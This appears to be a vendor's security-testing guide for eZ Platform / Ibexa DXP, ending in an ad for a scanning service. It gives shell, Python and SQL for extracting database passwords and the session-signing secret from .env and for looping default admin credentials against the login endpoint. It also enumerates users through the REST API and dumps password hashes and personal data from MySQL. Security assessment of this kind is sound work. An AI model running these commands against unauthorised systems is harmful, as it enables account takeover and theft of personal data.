eZ Platform / Ibexa DXP Security Testing: Default Credentials, API Key, Database, and CMS

eZ Platform (rebranded as Ibexa DXP in 2021) is an enterprise PHP CMS/DXP built on Symfony, used by large organizations, media companies, and government entities. Key assessment areas: .env DATABASE_URL exposes MySQL/MariaDB credentials; the admin interface at /admin is a brute-force target; ezuser stores SHA-256+salt (eZ Platform 2.x) or bcrypt (Ibexa 3+) password hashes; the eZ REST API at /api/ezp/v2/ may expose content and user data; and SECRET_KEY in .env signs all session cookies. This guide covers systematic eZ Platform/Ibexa security assessment.

Table of Contents

  1. .env DATABASE_URL and SECRET_KEY Extraction
  2. REST API and Admin Interface Assessment
  3. MySQL ezuser Hash and Content Extraction
  4. eZ Platform / Ibexa Security Hardening

.env DATABASE_URL and SECRET_KEY Extraction

# eZ Platform / Ibexa — .env DATABASE_URL and SECRET_KEY extraction
EZ_URL="https://site.example.com"

# .env — eZ Platform / Ibexa database and application configuration
cat /var/www/ezplatform/.env 2>/dev/null | \
  grep -E "DATABASE_URL|APP_SECRET|MAILER_|SYMFONY_SECRET"

python3 -c "
import re
content = open('/var/www/ezplatform/.env').read()
# DATABASE_URL=mysql://user:password@127.0.0.1:3306/database
m = re.search(r'DATABASE_URL=mysql://([^:]+):([^@]+)@([^/]+)/(\S+)', content)
if m:
    print(f'user: {m.group(1)}')
    print(f'password: {m.group(2)[:60]}')  # MySQL password (CRITICAL)
    print(f'host: {m.group(3)}')
    print(f'database: {m.group(4)}')
secret = re.search(r'APP_SECRET=(\S+)', content)
if secret: print(f'APP_SECRET: {secret.group(1)[:60]}')  # Session signing key
" 2>/dev/null

# Check .env web access (CRITICAL)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${EZ_URL}/.env" 2>/dev/null)
echo "/.env: HTTP ${STATUS}"

# eZ Platform also has config/packages/ezplatform.yaml
grep -E "secret|database" /var/www/ezplatform/config/packages/ezplatform.yaml 2>/dev/null | head -5

# Test admin credentials at /admin
for CRED in "admin:publish" "admin:admin" "administrator@example.com:publish"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${EZ_URL}/login_check" \
    -d "_username=${USER}&_password=${PASS}" \
    -c /tmp/ez_c -b /tmp/ez_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API and Admin Interface Assessment

# eZ Platform / Ibexa REST API and admin assessment
EZ_URL="https://site.example.com"

# eZ REST API v2 — content and user enumeration
# Basic auth with admin credentials
curl -s "${EZ_URL}/api/ezp/v2/content/locations/1" \
  -H "Accept: application/vnd.ez.api.Location+json" \
  -u "admin:publish" 2>/dev/null | \
  python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    loc = d.get('Location', {})
    print(f'  path: {loc.get(\"pathString\")}')
    print(f'  hidden: {loc.get(\"hidden\")}')
except: pass
" 2>/dev/null

# Enumerate users via REST API
curl -s "${EZ_URL}/api/ezp/v2/user/users" \
  -H "Accept: application/vnd.ez.api.UserList+json" \
  -u "admin:publish" 2>/dev/null | head -10

# Ibexa REST API v3 (Ibexa DXP 3+)
curl -s "${EZ_URL}/api/ibexa/v2/user/users" \
  -H "Accept: application/vnd.ibexa.api.UserList+json" \
  -H "Authorization: Bearer extracted-token" 2>/dev/null | head -5

# eZ Platform admin at /admin (Symfony-based)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${EZ_URL}/admin" 2>/dev/null)
echo "/admin: HTTP ${STATUS}"

# eZ Platform version disclosure via composer.lock
cat /var/www/ezplatform/composer.lock 2>/dev/null | \
  python3 -c "
import json, sys
lock = json.load(sys.stdin)
for pkg in lock.get('packages', []):
    if pkg.get('name') in ['ezsystems/ezplatform', 'ibexa/oss']:
        print(f'{pkg[\"name\"]}: {pkg[\"version\"]}')
        break
" 2>/dev/null

MySQL ezuser Hash and Content Extraction

# eZ Platform / Ibexa MySQL database — ezuser hash and content extraction
DB_PASS="extracted-db-password"

mysql -u ezplatform -p"${DB_PASS}" ezplatform 2>/dev/null << 'EOF'
-- ezuser — eZ Platform user accounts with password hashes
SELECT u.contentobject_id,
       u.login,
       u.email,
       u.password_hash,
       u.password_hash_type,  -- 5=SHA256+salt, 7=bcrypt (Ibexa 3+)
       u.is_enabled,          -- 1 = active account
       u.max_login,
       u.failed_login_attempts,
       u.last_visit
FROM ezuser u
WHERE u.is_enabled = 1
ORDER BY u.contentobject_id;
-- password_hash_type=5: SHA-256 with site.ini hash_type config (eZ Publish legacy)
-- password_hash_type=7: bcrypt (eZ Platform 2+, Ibexa 3+)

-- ezcontentobject — content objects (published and archived)
SELECT c.id, c.name, c.status,
       c.contentclass_id, c.owner_id,
       c.published, c.modified,
       c.section_id, c.is_hidden
FROM ezcontentobject c
WHERE c.status = 0   -- draft (unpublished)
   OR c.is_hidden = 1
ORDER BY c.modified DESC
LIMIT 20;

-- ez_user_settings — eZ Platform user profile settings
SELECT s.user_id, s.is_enabled,
       s.max_login
FROM ez_user_settings s
WHERE s.is_enabled = 1
ORDER BY s.user_id
LIMIT 20;

-- ezcontentobject_attribute — field data (email, phone, addresses)
SELECT a.contentobject_id,
       a.attribute_original_id,
       a.data_text,    -- plaintext field value (may contain PII)
       a.data_int
FROM ezcontentobject_attribute a
WHERE a.data_text LIKE '%@%'  -- email addresses in content fields
   OR a.data_text LIKE '+%'   -- phone numbers
LIMIT 20;
EOF

eZ Platform / Ibexa Security Hardening

eZ Platform / Ibexa Security Hardening Checklist:
Security TestMethodRisk
.env DATABASE_URL MySQL password and APP_SECRET session key extractionGET /.env — HTTP 200 = DATABASE_URL password + APP_SECRET; full MySQL access + Symfony session forgery without credentialsCritical
ezuser default admin/publish credential testingPOST /login_check — admin/publish legacy default; admin session enables full content management and user administration via REST APICritical
ezuser SHA-256 or bcrypt hash extraction with admin role identificationMySQL SELECT password_hash, password_hash_type FROM ezuser — type 5 SHA-256 GPU-crackable; type 7 bcrypt resistant; join ezuser_role for admin identificationHigh
eZ REST API authenticated content and user enumerationGET /api/ezp/v2/user/users with admin:publish — enumerate all platform users, roles, and content objects via RESTHigh
ezcontentobject draft content and hidden location enumerationMySQL SELECT name, status FROM ezcontentobject WHERE status=0 — unpublished draft content including embargoed articles, internal documentsMedium

Automate eZ Platform / Ibexa Security Testing

Ironimo tests eZ Platform and Ibexa DXP deployments for .env DATABASE_URL MySQL password and APP_SECRET web accessibility, admin/publish legacy default credential testing at /login_check, ezuser SHA-256 (password_hash_type=5) or bcrypt (type=7) hash extraction, eZ REST API /api/ezp/v2/ user and content enumeration, ezcontentobject draft and hidden location access, ezcontentobject_attribute PII field extraction, Ibexa REST API /api/ibexa/v2/ endpoint access assessment, /admin/ IP restriction verification, Ibexa version disclosure via composer.lock, and Symfony security advisory cross-reference via composer audit.

Start free scan